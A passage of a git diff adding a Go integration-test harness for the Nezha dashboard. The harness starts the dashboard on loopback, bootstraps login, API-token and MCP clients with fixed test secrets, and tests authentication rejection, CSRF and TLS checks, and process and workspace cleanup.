"github.com/nezhahq/nezha/integration/agentcompat/internal/process" + "github.com/nezhahq/nezha/integration/agentcompat/internal/testpaths" + "github.com/nezhahq/nezha/integration/agentcompat/internal/workspace" +) + +type failingDashboardSupervisor struct{} + +func (failingDashboardSupervisor) Start() error { return nil } + +func (failingDashboardSupervisor) Stop(context.Context) error { + return errors.New("injected supervisor cleanup failure") +} + +func (failingDashboardSupervisor) Exited() <-chan struct{} { + return make(chan struct{}) +} + +func (failingDashboardSupervisor) PID() int { return 0 } + +func (failingDashboardSupervisor) ProcessGroupID() int { return 0 } + +func (failingDashboardSupervisor) CleanupRecord() processharness.CleanupRecord { + return processharness.CleanupRecord{Name: "dashboard", Error: "injected supervisor cleanup failure"} +} + +func TestDashboardAdversarial_RecreatesFreshStateAfterShutdown(t *testing.T) { + // Given + first := startDashboardWithoutCleanup(t, false) + firstDatabasePath := first.DatabasePath() + firstWorkspaceRoot := first.WorkspaceRoot() + stopContext, cancel := context.WithTimeout(t.Context(), 15*time.Second) + require.NoError(t, first.Stop(stopContext)) + cancel() + + // When + second := startDashboard(t, false) + + // Then + require.NotEqual(t, firstDatabasePath, second.DatabasePath()) + require.NotEqual(t, firstWorkspaceRoot, second.WorkspaceRoot()) + require.NoDirExists(t, firstWorkspaceRoot) + require.True(t, second.Bootstrap().LoginAuthenticated) +} + +func TestDashboardAdversarial_ContextInterruptionCleansProcessAndWorkspace(t *testing.T) { + // Given + processContext, interrupt := context.WithCancel(t.Context()) + sourceDir, err := testpaths.NezhaSource(t.Name()) + require.NoError(t, err) + dashboard, err := Start(processContext, StartConfig{SourceDir: sourceDir}) + require.NoError(t, err) + root := dashboard.WorkspaceRoot() + pid := dashboard.PID() + t.Cleanup(func() { + cleanupContext, cancel := context.WithTimeout(context.Background(), 15*time.Second) + defer cancel() + require.NoError(t, dashboard.Stop(cleanupContext)) + }) + + // When + interrupt() + requireDashboardCleanup(t, dashboard) + + // Then + require.NoDirExists(t, root) + require.NoFileExists(t, filepath.Join("/proc", strconv.Itoa(pid))) + require.True(t, dashboard.CleanupReceipt().Passed) + require.False(t, dashboard.CleanupReceipt().Forced) +} + +func TestDashboardAdversarial_StopDeadlineStillCleansProcessAndWorkspace(t *testing.T) { + // Given + dashboard := startDashboardWithoutCleanup(t, false) + root := dashboard.WorkspaceRoot() + pid := dashboard.PID() + stopContext, cancel := context.WithCancel(t.Context()) + cancel() + t.Cleanup(func() { + cleanupContext, cleanupCancel := context.WithTimeout(context.Background(), 15*time.Second) + defer cleanupCancel() + require.NoError(t, dashboard.Stop(cleanupContext)) + }) + + // When + stopError := dashboard.Stop(stopContext) + + // Then + require.ErrorIs(t, stopError, context.Canceled) + requireDashboardCleanup(t, dashboard) + require.NoDirExists(t, root) + require.NoFileExists(t, filepath.Join("/proc", strconv.Itoa(pid))) + require.True(t, dashboard.CleanupReceipt().Passed) + require.False(t, dashboard.CleanupReceipt().Forced) +} + +func TestDashboardAdversarial_SupervisorErrorStillClosesWorkspace(t *testing.T) { + // Given + workspaceRoot, err := workspace.New(t.Context()) + require.NoError(t, err) + dashboard := &Dashboard{ + workspace: workspaceRoot, + supervisor: failingDashboardSupervisor{}, + cleanupDone: make(chan struct{}), + } + + // When + stopContext, cancel := context.WithTimeout(t.Context(), time.Second) + defer cancel() + stopError := dashboard.Stop(stopContext) + + // Then + require.ErrorContains(t, stopError, "injected supervisor cleanup failure") + require.NoDirExists(t, workspaceRoot.Root()) + require.False(t, dashboard.CleanupReceipt().Passed) +} + +func TestDashboardAdversarial_HungProcessRespectsReadinessDeadline(t *testing.T) { + // Given + workspaceParent := t.TempDir() + t.Setenv("TMPDIR", workspaceParent) + sourceDir := writeHungDashboardSource(t) + requireNoWorkspaceEntries(t, workspaceParent) + + // When + _, err := Start(t.Context(), StartConfig{ + SourceDir: sourceDir, + ReadinessTimeout: 200 * time.Millisecond, + }) + + // Then + require.ErrorContains(t, err, "dashboard login readiness") + requireNoWorkspaceEntries(t, workspaceParent) +} + +func TestDashboardAdversarial_RejectsMisleadingHTTP200Login(t *testing.T) { + // Given + dashboard := startDashboard(t, false) + requestBody := []byte(`{"username":"admin","password":"wrong-password"}`) + request, err := http.NewRequestWithContext(t.Context(), http.MethodPost, dashboard.URL()+"/api/v1/login", bytes.NewReader(requestBody)) + require.NoError(t, err) + request.Header.Set("Content-Type", "application/json") + + // When + response, err := dashboard.restHTTPClient.Do(request) + require.NoError(t, err) + defer response.Body.Close() + responseBody, err := io.ReadAll(io.LimitReader(response.Body, 4096)) + require.NoError(t, err) + var envelope client.CommonResponse[json.RawMessage] + require.NoError(t, json.Unmarshal(responseBody, &envelope)) + + // Then + require.Equal(t, http.StatusOK, response.StatusCode) + require.False(t, envelope.Success) + require.Contains(t, envelope.Error, "Unauthorized") +} + +func writeHungDashboardSource(t *testing.T) string { + t.Helper() + sourceDir := t.TempDir() + require.NoError(t, os.MkdirAll(filepath.Join(sourceDir, "cmd", "dashboard"), 0o700)) + require.NoError(t, os.WriteFile(filepath.Join(sourceDir, "go.mod"), []byte("module example.com/hungdashboard\n\ngo 1.23\n"), 0o600)) + program := `package main + +import ( + "os" + "os/signal" + "syscall" +) + +func main() { + signals := make(chan os.Signal, 1) + signal.Notify(signals, syscall.SIGTERM) + <-signals +} +` + require.NoError(t, os.WriteFile(filepath.Join(sourceDir, "cmd", "dashboard", "main.go"), []byte(program), 0o600)) + return sourceDir +} + +func requireNoWorkspaceEntries(t *testing.T, workspaceParent string) { + t.Helper() + entries, err := os.ReadDir(workspaceParent) + require.NoError(t, err) + require.Empty(t, entries) +} + +func requireDashboardCleanup(t *testing.T, dashboard *Dashboard) { + t.Helper() + select { + case <-dashboard.cleanupDone: + case <-time.After(15 * time.Second): + t.Fatal("dashboard cleanup did not complete") + } +} diff --git a/integration/agentcompat/internal/dashboard/bootstrap.go b/integration/agentcompat/internal/dashboard/bootstrap.go new file mode 100644 index 00000000..43b28a90 --- /dev/null +++ b/integration/agentcompat/internal/dashboard/bootstrap.go @@ -0,0 +1,127 @@ +//go:build linux + +package dashboard + +import ( + "context" + "errors" + "fmt" + "net/http" + "net/url" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" +) + +type patRequest struct { + Name string `json:"name"` + Scopes []string `json:"scopes"` + ExpiresInDays int `json:"expires_in_days"` +} + +type patResponse struct { + ID uint64 `json:"id"` + Token string `json:"token"` + Scopes []string `json:"scopes"` +} + +func (dashboard *Dashboard) bootstrapAuthentication(ctx context.Context) (patResponse, error) { + readinessContext, cancel := context.WithTimeout(ctx, dashboard.readinessTimeout) + defer cancel() + retryTicker := time.NewTicker(dashboardRequestRetryPeriod) + defer retryTicker.Stop() + var login client.LoginResponse + var err error + for { + login, err = dashboard.clients.REST.Login(readinessContext, client.LoginRequest{Username: "admin", Password: "admin"}) + if err == nil { + break + } + select { + case <-dashboard.supervisor.Exited(): + return patResponse{}, errors.New("dashboard process exited before login readiness") + case <-readinessContext.Done(): + return patResponse{}, fmt.Errorf("dashboard login readiness: %w", errors.Join(err, readinessContext.Err())) + case <-retryTicker.C: + } + } + if login.Token == "" || login.Expire == "" { + return patResponse{}, errors.New("dashboard login response omitted JWT metadata") + } + hasJWT, hasCSRF, err := dashboard.authenticationCookies() + if err != nil { + return patResponse{}, err + } + if !hasJWT || !hasCSRF { + return patResponse{}, errors.New("dashboard login omitted authentication cookies") + } + pat, err := client.DoREST[patRequest, patResponse](readinessContext, dashboard.clients.REST, client.RESTRequest[patRequest]{ + Method: http.MethodPost, + Path: "/api/v1/api-tokens", + Body: &patRequest{ + Name: "agentcompat-admin", + Scopes: []string{"nezha:*"}, + ExpiresInDays: 0, + }, + }) + if err != nil { + return patResponse{}, fmt.Errorf("create dashboard PAT: %w", err) + } + if pat.ID == 0 || pat.Token == "" || len(pat.Scopes) != 1 || pat.Scopes[0] != "nezha:*" { + return patResponse{}, errors.New("dashboard PAT response omitted wildcard administrator access") + } + dashboard.bootstrap = BootstrapResult{ + LoginAuthenticated: true, + CSRFCookiePresent: true, + PATID: pat.ID, + PATScopes: append([]string(nil), pat.Scopes...), + } + return pat, nil +} + +func (dashboard *Dashboard) initializeAuthenticatedClients(ctx context.Context, pat patResponse) error { + config := client.Config{BaseURL: dashboard.URL(), HTTPClient: dashboard.restHTTPClient, BearerToken: pat.Token} + mcpClient, err := client.New(config) + if err != nil { + return err + } + webSocketClient, err := client.New(config) + if err != nil { + return err + } + dashboard.clients.MCP = mcpClient + dashboard.clients.WebSocket = webSocketClient + initializeResult, err := mcpClient.Initialize(ctx) + if err != nil { + return fmt.Errorf("initialize dashboard MCP: %w", err) + } + tools, err := mcpClient.ListTools(ctx) + if err != nil { + return fmt.Errorf("list dashboard MCP tools: %w", err) + } + if initializeResult.ProtocolVersion != "2024-11-05" || initializeResult.ServerInfo.Name != "nezha-mcp" || len(tools.Tools) == 0 { + return errors.New("dashboard MCP initialization returned incomplete capabilities") + } + dashboard.bootstrap.MCPProtocolVersion = initializeResult.ProtocolVersion + dashboard.bootstrap.MCPServerName = initializeResult.ServerInfo.Name + dashboard.bootstrap.MCPToolCount = len(tools.Tools) + return nil +} + +func (dashboard *Dashboard) authenticationCookies() (bool, bool, error) { + baseURL, err := url.Parse(dashboard.URL()) + if err != nil { + return false, false, fmt.Errorf("parse dashboard URL: %w", err) + } + var hasJWT bool + var hasCSRF bool + for _, cookie := range dashboard.restHTTPClient.Jar.Cookies(baseURL) { + switch cookie.Name { + case "nz-jwt": + hasJWT = cookie.Value != "" + case "nz-csrf": + hasCSRF = cookie.Value != "" + } + } + return hasJWT, hasCSRF, nil +} diff --git a/integration/agentcompat/internal/dashboard/config.go b/integration/agentcompat/internal/dashboard/config.go new file mode 100644 index 00000000..0ebd95ec --- /dev/null +++ b/integration/agentcompat/internal/dashboard/config.go @@ -0,0 +1,62 @@ +//go:build linux + +package dashboard + +import ( + "fmt" + "net" + "os" +) + +type dashboardConfig struct { + HTTPAddress string + HTTPSAddress string + ReceiptAddress string + CertificatePath string + KeyPath string +} + +func writeDashboardConfig(path string, config dashboardConfig) error { + httpHost, httpPort, err := splitAddress(config.HTTPAddress) + if err != nil { + return err + } + httpsPort := "0" + if config.HTTPSAddress != "" { + _, httpsPort, err = splitAddress(config.HTTPSAddress) + if err != nil { + return err + } + } + content := fmt.Sprintf(`listen_host: %s +listen_port: %s +location: UTC +force_auth: true +agent_secret_key: %q +jwt_timeout: 1 +enable_mcp: true +oauth2: {} +tsdb: + data_path: "" +https: + listen_port: %s + tls_cert_path: %q + tls_key_path: %q + insecure_tls: false +`, httpHost, httpPort, agentSecret, httpsPort, config.CertificatePath, config.KeyPath) + if err := os.WriteFile(path, []byte(content), 0o600); err != nil { + return fmt.Errorf("write dashboard config: %w", err) + } + return nil +} + +func splitAddress(address string) (string, string, error) { + host, port, err := net.SplitHostPort(address) + if err != nil { + return "", "", fmt.Errorf("split loopback listener address %q: %w", address, err) + } + if host == "" || port == "" { + return "", "", fmt.Errorf("split loopback listener address %q: host and port are required", address) + } + return host, port, nil +} diff --git a/integration/agentcompat/internal/dashboard/config_test.go b/integration/agentcompat/internal/dashboard/config_test.go new file mode 100644 index 00000000..c5b4bf41 --- /dev/null +++ b/integration/agentcompat/internal/dashboard/config_test.go @@ -0,0 +1,66 @@ +//go:build linux + +package dashboard + +import ( + "os" + "path/filepath" + "testing" + + "github.com/stretchr/testify/require" +) + +func TestDashboardConfig_UsesDeterministicHermeticSettings(t *testing.T) { + // Given + configPath := filepath.Join(t.TempDir(), "dashboard.yaml") + + // When + err := writeDashboardConfig(configPath, dashboardConfig{ + HTTPAddress: "127.0.0.1:18008", + HTTPSAddress: "127.0.0.1:18443", + CertificatePath: "/tmp/dashboard.crt", + KeyPath: "/tmp/dashboard.key", + }) + + // Then + require.NoError(t, err) + data, err := os.ReadFile(configPath) + require.NoError(t, err) + content := string(data) + require.Contains(t, content, "listen_host: 127.0.0.1") + require.Contains(t, content, "listen_port: 18008") + require.Contains(t, content, "location: UTC") + require.Contains(t, content, "force_auth: true") + require.Contains(t, content, "enable_mcp: true") + require.Contains(t, content, "oauth2: {}") + require.Contains(t, content, "data_path: \"\"") + require.Contains(t, content, "listen_port: 18443") + require.Contains(t, content, "insecure_tls: false") + require.NotContains(t, content, jwtSecret) +} + +func TestDashboardEnvironment_RemovesAmbientNezhaOverrides(t *testing.T) { + // Given + t.Setenv("NZ_FORCEAUTH", "false") + t.Setenv("NZ_ENABLEMCP", "false") + t.Setenv("NEZHA_AGENTCOMPAT_HTTP_LISTENER_FD", "999") + + // When + environment := dashboardEnvironment(true) + + // Then + require.Contains(t, environment, "NZ_JWTSECRETKEY="+jwtSecret) + require.Contains(t, environment, "NEZHA_AGENTCOMPAT_HTTP_LISTENER_FD=3") + require.Contains(t, environment, "NEZHA_AGENTCOMPAT_HTTPS_LISTENER_FD=4") + require.NotContains(t, environment, "NZ_FORCEAUTH=false") + require.NotContains(t, environment, "NZ_ENABLEMCP=false") + require.NotContains(t, environment, "NEZHA_AGENTCOMPAT_HTTP_LISTENER_FD=999") +} + +func TestDashboardStart_RejectsRelativeSourceDirectory(t *testing.T) { + // When + _, err := Start(t.Context(), StartConfig{SourceDir: "../nezha"}) + + // Then + require.ErrorContains(t, err, "source directory must be absolute") +} diff --git a/integration/agentcompat/internal/dashboard/dashboard.go b/integration/agentcompat/internal/dashboard/dashboard.go new file mode 100644 index 00000000..e1d73e27 --- /dev/null +++ b/integration/agentcompat/internal/dashboard/dashboard.go @@ -0,0 +1,233 @@ +//go:build linux + +package dashboard + +import ( + "bufio" + "context" + "errors" + "fmt" + "net" + "net/http" + "path/filepath" + "sync" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/fixture" + processharness "github.com/nezhahq/nezha/integration/agentcompat/internal/process" + "github.com/nezhahq/nezha/integration/agentcompat/internal/workspace" +) + +const ( + agentSecret = "0123456789abcdef0123456789abcdef" + jwtSecret = "agentcompat-dashboard-jwt-secret" + defaultReadinessTimeout = 60 * time.Second + // Active Agent streams need the Dashboard graceful shutdown window before + // the harness is allowed to escalate process-group cleanup to SIGKILL. + defaultProcessStopTimeout = 15 * time.Second + defaultProcessKillTimeout = 5 * time.Second + failedStartCleanupTimeout = 15 * time.Second + dashboardMaxLogBytes = 1 << 20 + dashboardHTTPClientTimeout = 5 * time.Second + dashboardRequestRetryPeriod = 25 * time.Millisecond +) + +type StartConfig struct { + SourceDir string + EnableTLS bool + ReceiptGate bool + ReadinessTimeout time.Duration +} + +type Clients struct { + REST *client.Client + MCP *client.Client + WebSocket *client.Client +} + +type FixtureIdentity struct { + WorkspaceRoot string + ConfigPath string + DatabasePath string + BinaryPath string + HTTP workspace.ListenerIdentity + Receipt workspace.ListenerIdentity + HTTPS workspace.ListenerIdentity +} + +type RuntimeIdentity struct { + Generation uint64 + PID int + ProcessGroupID int +} + +type dashboardGeneration struct { + supervisor dashboardSupervisor + identity RuntimeIdentity + record processharness.CleanupRecord + receiptConn net.Conn + httpTransport *http.Transport + tlsTransport *http.Transport +} + +type BootstrapResult struct { + LoginAuthenticated bool + CSRFCookiePresent bool + PATID uint64 + PATScopes []string + MCPProtocolVersion string + MCPServerName string + MCPToolCount int + TLSAuthenticated bool +} + +type dashboardSupervisor interface { + Start() error + Stop(context.Context) error + Exited() <-chan struct{} + PID() int + ProcessGroupID() int + CleanupRecord() processharness.CleanupRecord +} + +type Dashboard struct { + workspace *workspace.Workspace + supervisor dashboardSupervisor + clients Clients + restHTTPClient *http.Client + httpTransport *http.Transport + tlsTransport *http.Transport + tlsFixture fixture.LocalTLSFixture + httpAddress string + httpsAddress string + receiptAddress string + receiptConn net.Conn + receiptReader *bufio.Reader + receiptEvents chan string + eventNotify chan struct{} + eventMu sync.RWMutex + eventClosed bool + configPath string + databasePath string + logPath string + bootstrap BootstrapResult + readinessTimeout time.Duration + startConfig StartConfig + binaryPath string + generation uint64 + currentProcess *dashboardGeneration + processes []*dashboardGeneration + httpListener *workspace.OwnedListener + receiptListener *workspace.OwnedListener + httpsListener *workspace.OwnedListener + + cleanupOnce sync.Once + cleanupDone chan struct{} + cleanupMu sync.Mutex + cleanupError error + cleanupReceipt processharness.CleanupReceipt + receiptMu sync.RWMutex + receiptAccepted bool + receiptAcceptedCount uint64 + receiptGeneration uint64 + info2Mu sync.Mutex + info2Events map[string]struct{} + stateMu sync.Mutex + stateEvents map[stateEventIdentity]struct{} + mcpReceiptEvents []MCPReceiptEvent + mcpReceiptSequence uint64 + eventGeneration uint64 + lifecycleMu sync.Mutex +} + +type stateEventIdentity struct { + ServerID uint64 + UUID string + Generation uint64 + Count uint64 +} + +type MCPReceiptKind string + +const ( + MCPReceiptTask MCPReceiptKind = "task" + MCPReceiptResult MCPReceiptKind = "result" +) + +type MCPReceiptCursor struct { + Sequence uint64 +} + +type MCPReceiptEvent struct { + Sequence uint64 `json:"sequence"` + DashboardGeneration uint64 `json:"dashboard_generation"` + GateGeneration uint64 `json:"gate_generation"` + ServerID uint64 `json:"server_id"` + TaskID uint64 `json:"task_id"` + TaskType uint64 `json:"task_type"` + Kind MCPReceiptKind `json:"kind"` +} + +type MCPReceiptExpectation struct { + DashboardGeneration uint64 + GateGeneration uint64 + ServerID uint64 + TaskID uint64 + TaskType uint64 +} + +type MCPReceiptPair struct { + Task MCPReceiptEvent `json:"task"` + Result MCPReceiptEvent `json:"result"` +} + +var ErrReceiptGateClosed = errors.New("receipt gate closed") + +func Start(ctx context.Context, config StartConfig) (*Dashboard, error) { + if config.SourceDir == "" || !filepath.IsAbs(config.SourceDir) { + return nil, errors.New("dashboard source directory must be absolute") + } + // Dashboard owns cancellation order so the process group is gone before the + // workspace verifies listeners, PIDs, and temporary files are absent. + workspaceRoot, err := workspace.New(context.WithoutCancel(ctx)) + if err != nil { + return nil, fmt.Errorf("create dashboard workspace: %w", err) + } + dashboard := &Dashboard{workspace: workspaceRoot, cleanupDone: make(chan struct{}), startConfig: config} + dashboard.readinessTimeout = config.ReadinessTimeout + if dashboard.readinessTimeout <= 0 { + dashboard.readinessTimeout = defaultReadinessTimeout + } + if err := dashboard.prepare(ctx, config); err != nil { + cleanupContext, cancel := context.WithTimeout(context.WithoutCancel(ctx), failedStartCleanupTimeout) + defer cancel() + return nil, errors.Join(err, dashboard.Stop(cleanupContext)) + } + go dashboard.cleanupOnCancellation(ctx) + return dashboard, nil +} + +func (dashboard *Dashboard) Stop(ctx context.Context) error { + dashboard.cleanupOnce.Do(func() { go dashboard.cleanup(context.WithoutCancel(ctx)) }) + select { + case <-dashboard.cleanupDone: + dashboard.cleanupMu.Lock() + defer dashboard.cleanupMu.Unlock() + return dashboard.cleanupError + case <-ctx.Done(): + return ctx.Err() + } +} + +func (dashboard *Dashboard) Close(ctx context.Context) error { return dashboard.Stop(ctx) } + +func (dashboard *Dashboard) URL() string { return "http://" + dashboard.httpAddress } + +func (dashboard *Dashboard) Endpoint() string { return dashboard.httpAddress } + +func (dashboard *Dashboard) TLSEndpoint() string { return dashboard.httpsAddress } + +func (dashboard *Dashboard) ReceiptGateEnabled() bool { return dashboard.receiptAddress != "" } + +func (dashboard *Dashboard) ReceiptGateEndpoint() string { return dashboard.receiptAddress } diff --git a/integration/agentcompat/internal/dashboard/dashboard_test.go b/integration/agentcompat/internal/dashboard/dashboard_test.go new file mode 100644 index 00000000..5501a9cf --- /dev/null +++ b/integration/agentcompat/internal/dashboard/dashboard_test.go @@ -0,0 +1,216 @@ +//go:build linux + +package dashboard + +import ( + "bytes" + "context" + "crypto/x509" + "encoding/json" + "errors" + "io" + "net/http" + "os" + "path/filepath" + "strconv" + "strings" + "testing" + "time" + + "github.com/golang-jwt/jwt/v4" + "github.com/stretchr/testify/require" + "gorm.io/driver/sqlite" + "gorm.io/gorm" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/testpaths" + "github.com/nezhahq/nezha/model" +) + +func TestDashboard_BootstrapsSQLiteLoginPATAndMCP(t *testing.T) { + // Given + dashboard := startDashboard(t, false) + bootstrap := dashboard.Bootstrap() + + // When + database, err := gorm.Open(sqlite.Open(dashboard.DatabasePath()), &gorm.Config{}) + require.NoError(t, err) + var userCount int64 + require.NoError(t, database.Model(&model.User{}).Count(&userCount).Error) + var tokenCount int64 + require.NoError(t, database.Model(&model.APIToken{}).Count(&tokenCount).Error) + require.True(t, database.Migrator().HasTable(&model.MCPAuditLog{})) + sqlDatabase, err := database.DB() + require.NoError(t, err) + require.NoError(t, sqlDatabase.Close()) + configData, err := os.ReadFile(dashboard.ConfigPath()) + require.NoError(t, err) + logData, err := os.ReadFile(dashboard.LogPath()) + require.NoError(t, err) + jwtToken := requireJWTSignedWithDeterministicSecret(t, dashboard.Clients().REST) + unauthenticatedStatus, unauthenticatedResponse := requestUnauthenticatedInventory(t, dashboard) + + // Then + require.Equal(t, int64(1), userCount) + require.Equal(t, int64(1), tokenCount) + require.True(t, bootstrap.LoginAuthenticated) + require.True(t, bootstrap.CSRFCookiePresent) + require.NotZero(t, bootstrap.PATID) + require.Equal(t, []string{"nezha:*"}, bootstrap.PATScopes) + require.Equal(t, "2024-11-05", bootstrap.MCPProtocolVersion) + require.Equal(t, "nezha-mcp", bootstrap.MCPServerName) + require.Positive(t, bootstrap.MCPToolCount) + require.Equal(t, http.StatusOK, unauthenticatedStatus) + require.False(t, unauthenticatedResponse.Success) + require.Contains(t, unauthenticatedResponse.Error, "Unauthorized") + require.Len(t, agentSecret, 32) + require.Contains(t, string(configData), "force_auth: true") + require.Contains(t, string(configData), "enable_mcp: true") + require.Contains(t, string(configData), "agent_secret_key: \""+agentSecret+"\"") + require.NotContains(t, string(configData), jwtSecret) + require.NotContains(t, string(logData), jwtSecret) + require.NotContains(t, string(logData), agentSecret) + require.NotContains(t, string(logData), jwtToken) + require.NotContains(t, string(logData), "nzp_") + require.NotEqual(t, dashboard.ConfigPath(), dashboard.DatabasePath()) + require.FileExists(t, dashboard.DatabasePath()) + require.NotNil(t, dashboard.Clients().REST) + require.NotNil(t, dashboard.Clients().MCP) + require.NotNil(t, dashboard.Clients().WebSocket) +} + +func TestDashboard_ServesTrustedTLS(t *testing.T) { + // Given + dashboard := startDashboard(t, true) + bootstrap := dashboard.Bootstrap() + + // When + wrongHostClient, wrongHostTransport, err := dashboard.newTLSHTTPClient("wronghost.invalid") + require.NoError(t, err) + defer wrongHostTransport.CloseIdleConnections() + request, err := http.NewRequestWithContext(t.Context(), http.MethodPost, dashboard.TLSURL()+"/api/v1/login", strings.NewReader(`{"username":"admin","password":"admin"}`)) + require.NoError(t, err) + request.Header.Set("Content-Type", "application/json") + _, err = wrongHostClient.Do(request) + + // Then + require.True(t, bootstrap.TLSAuthenticated) + require.False(t, dashboard.tlsFixture.ClientConfig("localhost").InsecureSkipVerify) + var hostnameError x509.HostnameError + require.ErrorAs(t, err, &hostnameError) +} + +func TestDashboard_RejectsWrongLogin(t *testing.T) { + // Given + dashboard := startDashboard(t, false) + + // When + _, err := dashboard.Clients().REST.Login(t.Context(), client.LoginRequest{Username: "admin", Password: "wrong-password"}) + + // Then + require.ErrorIs(t, err, client.ErrSemanticFailure) + require.ErrorContains(t, err, "Unauthorized") +} + +func TestDashboard_RejectsMalformedCSRF(t *testing.T) { + // Given + dashboard := startDashboard(t, false) + + // When + status, responseBody := postMalformedCSRF(t, dashboard) + + // Then + require.Equal(t, http.StatusForbidden, status) + var envelope client.CommonResponse[json.RawMessage] + require.NoError(t, json.Unmarshal(responseBody, &envelope)) + require.False(t, envelope.Success) + require.Contains(t, envelope.Error, "invalid CSRF token") +} + +func TestDashboard_StopsCleanly(t *testing.T) { + // Given + dashboard := startDashboardWithoutCleanup(t, false) + root := dashboard.WorkspaceRoot() + pid := dashboard.PID() + + // When + stopContext, cancel := context.WithTimeout(t.Context(), 15*time.Second) + defer cancel() + require.NoError(t, dashboard.Stop(stopContext)) + + // Then + receipt := dashboard.CleanupReceipt() + require.True(t, receipt.Passed) + require.False(t, receipt.Forced) + require.Len(t, receipt.Processes, 1) + require.NoDirExists(t, root) + require.NoFileExists(t, filepath.Join("/proc", strconv.Itoa(pid))) +} + +func startDashboard(t *testing.T, enableTLS bool) *Dashboard { + t.Helper() + dashboard := startDashboardWithoutCleanup(t, enableTLS) + t.Cleanup(func() { + stopContext, cancel := context.WithTimeout(context.Background(), 15*time.Second) + defer cancel() + require.NoError(t, dashboard.Stop(stopContext)) + }) + return dashboard +} + +func startDashboardWithoutCleanup(t *testing.T, enableTLS bool) *Dashboard { + t.Helper() + sourceDir, err := testpaths.NezhaSource(t.Name()) + require.NoError(t, err) + dashboard, err := Start(t.Context(), StartConfig{SourceDir: sourceDir, EnableTLS: enableTLS}) + require.NoError(t, err) + return dashboard +} + +func postMalformedCSRF(t *testing.T, dashboard *Dashboard) (int, []byte) { + t.Helper() + requestBody, err := json.Marshal(patRequest{Name: "malformed-csrf", Scopes: []string{"nezha:*"}}) + require.NoError(t, err) + request, err := http.NewRequestWithContext(t.Context(), http.MethodPost, dashboard.URL()+"/api/v1/api-tokens", bytes.NewReader(requestBody)) + require.NoError(t, err) + request.Header.Set("Content-Type", "application/json") + request.Header.Set("X-CSRF-Token", "malformed") + response, err := dashboard.restHTTPClient.Do(request) + require.NoError(t, err) + defer response.Body.Close() + responseBody, err := io.ReadAll(io.LimitReader(response.Body, 4096)) + require.NoError(t, err) + return response.StatusCode, responseBody +} + +func requireJWTSignedWithDeterministicSecret(t *testing.T, restClient *client.Client) string { + t.Helper() + login, err := restClient.Login(t.Context(), client.LoginRequest{Username: "admin", Password: "admin"}) + require.NoError(t, err) + parsed, err := jwt.Parse(login.Token, func(token *jwt.Token) (any, error) { + if token.Method.Alg() != jwt.SigningMethodHS256.Alg() { + return nil, errors.New("unexpected JWT algorithm") + } + return []byte(jwtSecret), nil + }) + require.NoError(t, err) + require.True(t, parsed.Valid) + return login.Token +} + +func requestUnauthenticatedInventory(t *testing.T, dashboard *Dashboard) (int, client.CommonResponse[json.RawMessage]) { + t.Helper() + transport := &http.Transport{DialContext: dialAddress(dashboard.httpAddress)} + defer transport.CloseIdleConnections() + httpClient := &http.Client{Transport: transport, Timeout: dashboardHTTPClientTimeout} + request, err := http.NewRequestWithContext(t.Context(), http.MethodGet, dashboard.URL()+"/api/v1/server", nil) + require.NoError(t, err) + response, err := httpClient.Do(request) + require.NoError(t, err) + defer response.Body.Close() + responseBody, err := io.ReadAll(io.LimitReader(response.Body, 4096)) + require.NoError(t, err) + var envelope client.CommonResponse[json.RawMessage] + require.NoError(t, json.Unmarshal(responseBody, &envelope)) + return response.StatusCode, envelope +} diff --git a/integration/agentcompat/internal/dashboard/fixture.go b/integration/agentcompat/internal/dashboard/fixture.go new file mode 100644 index 00000000..4e03a265 --- /dev/null +++ b/integration/agentcompat/internal/dashboard/fixture.go @@ -0,0 +1,82 @@ +//go:build linux + +package dashboard + +import ( + "context" + "fmt" + "os" + "path/filepath" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/fixture" + "github.com/nezhahq/nezha/integration/agentcompat/internal/workspace" +) + +func (dashboard *Dashboard) prepareFixture(ctx context.Context, config StartConfig) error { + fileConfig, err := dashboard.prepareListeners(config) + if err != nil { + return err + } + dashboard.configPath = filepath.Join(dashboard.workspace.Root(), "dashboard.yaml") + if err := writeDashboardConfig(dashboard.configPath, fileConfig); err != nil { + return err + } + dashboard.databasePath = filepath.Join(dashboard.workspace.Root(), "dashboard.sqlite") + dashboard.binaryPath, err = dashboard.workspace.Build(ctx, workspace.BuildSpec{Name: "dashboard", SourceDir: config.SourceDir, Package: "./cmd/dashboard", Tags: []string{"agentcompat"}}) + if err != nil { + return err + } + return nil +} + +func (dashboard *Dashboard) prepareListeners(config StartConfig) (dashboardConfig, error) { + httpListener, err := dashboard.adoptLoopbackListener() + if err != nil { + return dashboardConfig{}, err + } + dashboard.httpAddress = httpListener.Address() + dashboard.httpListener = httpListener + fileConfig := dashboardConfig{HTTPAddress: dashboard.httpAddress} + if config.ReceiptGate { + receiptListener, err := dashboard.adoptLoopbackListener() + if err != nil { + return dashboardConfig{}, err + } + dashboard.receiptAddress = receiptListener.Address() + dashboard.receiptListener = receiptListener + } + if config.EnableTLS { + if _, err := dashboard.prepareTLSListener(&fileConfig); err != nil { + return dashboardConfig{}, err + } + } + return fileConfig, nil +} + +func (dashboard *Dashboard) prepareTLSListener(config *dashboardConfig) (*os.File, error) { + tlsFixture, err := fixture.NewLocalTLSFixture(time.Now().UTC()) + if err != nil { + return nil, fmt.Errorf("generate dashboard TLS fixture: %w", err) + } + dashboard.tlsFixture = tlsFixture + config.CertificatePath = filepath.Join(dashboard.workspace.Root(), "dashboard.crt") + config.KeyPath = filepath.Join(dashboard.workspace.Root(), "dashboard.key") + if err := os.WriteFile(config.CertificatePath, tlsFixture.CertificatePEM(), 0o600); err != nil { + return nil, fmt.Errorf("write dashboard certificate: %w", err) + } + if err := os.WriteFile(filepath.Join(dashboard.workspace.Root(), "dashboard-ca.crt"), tlsFixture.CAPEM(), 0o600); err != nil { + return nil, fmt.Errorf("write dashboard CA certificate: %w", err) + } + if err := os.WriteFile(config.KeyPath, tlsFixture.PrivateKeyPEM(), 0o600); err != nil { + return nil, fmt.Errorf("write dashboard private key: %w", err) + } + listener, err := dashboard.adoptLoopbackListener() + if err != nil { + return nil, err + } + dashboard.httpsAddress = listener.Address() + dashboard.httpsListener = listener + config.HTTPSAddress = dashboard.httpsAddress + return nil, nil +} diff --git a/integration/agentcompat/internal/dashboard/io_stream_state_test.go b/integration/agentcompat/internal/dashboard/io_stream_state_test.go new file mode 100644 index 00000000..53ced697 